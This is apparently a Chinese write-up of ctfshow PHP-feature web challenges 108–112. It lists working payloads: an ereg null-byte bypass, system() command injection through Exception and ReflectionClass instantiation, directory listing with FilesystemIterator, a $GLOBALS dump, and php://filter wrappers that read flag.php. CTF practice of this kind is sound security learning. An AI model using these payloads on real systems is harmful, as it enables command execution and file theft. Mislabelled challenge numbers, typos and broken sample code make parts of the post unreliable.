当前位置: 首页 > news >正文

ctfshow web入门 php特性 web108-web112

1.web108

在这里插入图片描述
strrev() 反转字符串

<?php
echo strrev("Hello world!"); // 输出 "!dlrow olleH"
?> 

ereg 存在空字符截断(只会匹配%00前面的字符),这个函数匹配到为true,没有匹配到为false,877为0x36d的十进制数值
payload:

c=a%00778

2.web108

在这里插入图片描述
类可以输出,就是当类被当作字符串执行,会调用__trosting魔术方法,这个类要有这个魔术方法,并且要有返回值才可以输出,这个值要可控

class a{
public $b;
public function __constrcut($a){$this->b=$a
}
public funciton __toString(){
return $this->b;
}
}
$c=echo new a('aaa');
#v1=a
#v2=aaa

echo new Exception(system(‘echo phpinfo’)())
会先输出phpinfo,之后在执行phpinfo,最后抛出异常,需要执行完函数把函数的结果在通过异常进行抛出,执行顺序为什么时这样的因为不是这样的Exception(“system(‘echo phpinfo’)()”),不是当作一个整体进行输出,需要执行完才能把命令执行的结果当作整体进行输出
payload:

v1=Exception();system('tac f*');//&v2=a
v1=Exception&v2=system('tac f*'));//
v1=ReflectionClass&v2=system('tac f*')

3.web119

在这里插入图片描述
getcwd获取当前目录,DirectoryIterator遍历目录,文件名称(. … 1.c) FilesystemIterator遍历目录名+文件(/1.c),echo new DirectoryIterator(getcwd())只输出第一个
都是获取目录下的文件
payload:

v1=FilesystemIterator&v2=getcwd

4.web111

在这里插入图片描述
$GLOBALS —包含全局作用域中可用的全部变量
$v2=GLOBALS
$$v2=$GLOBALS
&$ v 2 表示取 v2表示取 v2表示取GLOBALS的所有值
&引用表示不同变量指向同一值

$a='djkad';
$b=&a;
echo $b;   #djkad
echo $a;   #djkad
var_dump($GLOBALS);  #会输出$a,$b的值等

payload:

v1=ctfshow&v2=GLOBALS

5.web112

在这里插入图片描述
考查的是php伪协议,没想到
payload:

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

参考文章:
php特性

http://www.lryc.cn/news/141278.html

相关文章:

  • 数据可视化是什么?有什么工具?
  • PC端版面设计之尾部设计
  • neo4jd3拓扑节点显示为节点标签(自定义节点显示)
  • 网络安全(黑客)了解学习路线
  • 【CSS】CSS 特性 ( CSS 优先级 | 优先级引入 | 选择器基本权重 )
  • Linux Shell 搜索命令 grep
  • 【C进阶】指针(一)
  • bug复刻,解决方案---在改变div层级关系时,导致传参失败
  • 2023年Java核心技术面试第九篇(篇篇万字精讲)
  • 解码Python JSON:从基础到高级,掌握使用的精髓
  • Qt --- 自定义工具类 持续更新... ...
  • GO语言圣经 第二章习题
  • Java 语言实现线性查找算法
  • xcode15 change
  • MySQL集群(mysql-cluster)
  • 基于神经网络的3D地质模型
  • Spring AOP教程_编程入门自学教程_菜鸟教程-免费教程分享
  • 1.linux的常用命令
  • XiaoFeng.Net 网络库使用
  • 【ES6】—数组的扩展
  • Android 实现资源国际化
  • uni、js——点击与禁用(不可点击)、动态样式class
  • 分布式技术
  • Consul的简介与安装
  • 微服务框架 go-zero logx 日志组件剖析
  • 基于Java+SpringBoot+Vue前后端分离图书电子商务网站设计和实现
  • C# Winfrom通过COM接口访问和控制Excel应用程序,将Excel数据导入DataGridView
  • Linux-tomcat环境搭建、jpress部署实践、nginx反向代理
  • SQLmap使用
  • 【Flutter】Flutter 使用 infinite_scroll_pagination 实现无限滚动分页